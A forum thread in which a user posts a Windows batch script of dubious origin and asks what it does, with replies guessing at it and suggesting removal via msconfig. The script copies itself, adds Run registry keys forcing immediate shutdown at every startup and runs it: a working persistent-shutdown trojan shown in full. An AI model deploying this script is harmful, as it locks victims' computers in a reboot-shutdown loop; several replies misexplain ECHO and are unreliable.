Any idea what this does?

wrexham SG · 2007-01-08T08:24:24+00:00

What echo are you looking at? It's a batch file, not IP address. Check again. Press F1 after Windows has completely started.

wrexham SG

@ECHO off
CLS
COPY %0 C:\%0_1.bat
ECHO REGEDIT4 >> temp.reg
ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >> temp.reg
ECHO "ownage"="shutdown.exe -s -t 00" >> temp.reg
ECHO [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >> temp.reg
ECHO "ownage"="shutdown.exe -s -t 00" >> temp.reg
ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >> temp.reg
ECHO "backup1"="C:\%0_1.bat" >> temp.reg
REGEDIT.EXE /s temp.reg
SHUTDOWN.EXE -s -t 00

in a bat file?

StarPuppy SG

whats this file?

looks like a file that shutsdown your pc

R3SsH|n SG

doesn't look good...doesn't look good at all... Laughing

could be a trojan...or a backdoor...

dark_snowboy SG

if im not wrong, the computer will play the "ownage" sound clip when it shut down or boot up Laughing

dark_snowboy SG

you think too deep le Laughing

FBI SG

u play 2 much dota nia

wrexham SG

well, i got this from not a v. good source =X

just wanted to know what exactly does it do

can anyone analyse?

dark_snowboy SG

as what i told you, thats what i think, or wait for mayi to come online ba

dark_snowboy SG

nope, i dont have much affiliation to dota.
except that im joining a competitive clan soon Laughing

StarPuppy SG

eh..actually he might not be wrong leh...

it seems like

ECHO "ownage"="shutdown.exe -s -t 00" >>

the screen might show "ownange" then it will shutdown

Laughing

one thing for sure...once click..it will activate the shutdown...

i play this trick of shutdown before

Mr. Green

dark_snowboy SG

isnt echo=sound that type of stuff Confused

StarPuppy SG

i am not very sure...all i know

ECHO "ownage"="shutdown.exe -s -t 00" >>

it will activate the shutdown of your PC when you click on it

wrexham SG

cause when i got it, they said that it would repeatedly shut down the computer when you start it up =X is it true?

if it is, is there anyway to stop the process?

Sekundes SG

Seems like ownage is a trigger to the shutdown command ?
delete it from your registry la...

Batch file.

FBI SG

don mess with registry..

get a pro to give u some advise

StarPuppy SG

i not very sure..let the pros come in and handle

Wink Wink Wink

wrexham SG

nahh, i’m not using it =X

StarPuppy SG

(IF IT IS TRUE)
go safe mode

start -> run

type "msconfig"

under tab of "startup"

find that file name

wrexham SG

oicoic

was just curious to how it worked =P

StarPuppy SG

just checked wiki

ECHO protocol
From Wikipedia, the free encyclopedia

The ECHO service is an internet protocol defined in RFC 862. It was originally proposed as a way to test and measure an IP network

A host may connect to a server that supports the ECHO protocol on either TCP or UDP port 7. The server then sends back any data it receives, with no modification by the echo server.

delete the file if u not using it?